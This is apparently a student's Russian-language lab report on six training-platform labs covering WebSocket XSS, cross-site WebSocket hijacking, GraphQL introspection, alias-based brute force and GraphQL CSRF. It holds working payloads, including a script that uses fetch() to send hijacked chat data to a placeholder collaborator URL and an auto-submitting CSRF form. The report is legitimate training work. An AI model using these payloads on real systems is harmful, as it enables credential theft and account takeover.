**Web Security Lab Report**

**Lab 1: Manipulating WebSocket messages to exploit vulnerabilities (APPRENTICE)**

**Что я сделала:**

1. Открыла "Live chat" и отправила сообщение.
2. В Burp Suite перехватила WebSocket-сообщение и увидела, что оно передается через WebSocket.
3. Отправила сообщение с символом <, чтобы проверить, как оно обрабатывается.
4. Перехватила WebSocket-запрос, отредактировала его и вставила такой payload:

html

КопироватьРедактировать

<img src=1 onerror='alert(1)'>

1. Сообщение успешно отобразилось в чате, и в браузере support-агента всплыло alert-окно, что подтвердило XSS-уязвимость.

**Lab 2: Cross-site WebSocket hijacking (PRACTITIONER)**

**Что я сделала:**

1. Открыла "Live chat" и отправила сообщение.
2. Посмотрела в WebSocket-трафике команду READY, которая загружает историю чатов.
3. Перехватила WebSocket-handshake и обнаружила, что отсутствует защита от CSRF.
4. Написала JavaScript-код, который создает WebSocket-соединение, отправляет READY и пересылает полученные данные на мой сервер:

html

<script>

var ws = new WebSocket('wss://your-websocket-url');

ws.onopen = function() {

ws.send("READY");

};

ws.onmessage = function(event) {

fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});

};

</script>

1. Загрузила этот код на Exploit Server и отправила жертве.
2. В Burp Collaborator получила историю чатов, в которой нашла учетные данные.
3. Авторизовалась с помощью украденных данных и успешно решила лабу.

**Lab 3: Accessing private GraphQL posts (APPRENTICE)**

**Что я сделала:**

1. Открыла страницу блога и начала анализ GraphQL-запросов в Burp Suite.
2. Обнаружила, что один из постов скрыт.
3. В запросе POST /graphql/v1 отправила introspection query и получила информацию о структуре API.
4. Изменив GraphQL-запрос, запросила postPassword для скрытого поста.
5. Получила пароль, ввела его в нужное поле и успешно прошла лабу.

**Lab 4: Accidental exposure of private GraphQL fields (PRACTITIONER)**

**Что я сделала:**

1. Попробовала авторизоваться и перехватила GraphQL-запрос в Burp Suite.
2. Отправила introspection query, чтобы найти скрытые поля API.
3. Нашла уязвимый getUser-запрос, который раскрывает пароли пользователей.
4. Подставила id администратора и получила его учетные данные.
5. Вошла в админ-панель, удалила пользователя carlos и решила лабу.

**Lab 5: Bypassing GraphQL brute force protections (PRACTITIONER)**

**Что я сделала:**

1. Перехватила запрос логина в Burp Suite и заметила, что используется GraphQL mutation.
2. Попыталась несколько раз ввести неправильный пароль и получила ошибку rate limit.
3. Обошла ограничение, отправив множество login-запросов в одном GraphQL-запросе с использованием алиасов:

graphql

mutation {

attempt1:login(input:{username: "carlos", password: "123456"}) { success }

attempt2:login(input:{username: "carlos", password: "password"}) { success }

attempt3:login(input:{username: "carlos", password: "qwerty"}) { success }

}

1. Проанализировала ответ, нашла success: true и определила правильный пароль.
2. Авторизовалась с ним и успешно решила лабу.

**Lab 6: Performing CSRF exploits over GraphQL (PRACTITIONER)**

**Что я сделала:**

1. Вошла в свою учетную запись (wiener:peter).
2. Изменила email и перехватила GraphQL-запрос в Burp Suite.
3. Обнаружила, что API принимает x-www-form-urlencoded, что делает его уязвимым для CSRF.
4. Преобразовала запрос в POST-запрос с URL-кодированным телом:

perl

query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D

1. Сгенерировала CSRF PoC в Burp Suite.
2. Разместила exploit-код на Exploit Server:

html

<form action="https://target-site.com/graphql" method="POST">

<input type="hidden" name="query" value="mutation { changeEmail(input: {email: 'attacker@example.com'}) { email } }">

<input type="submit" value="Submit">

</form>

<script>document.forms[0].submit();</script>

1. Нажала **Deliver exploit** и успешно изменила email жертвы, решив лабу.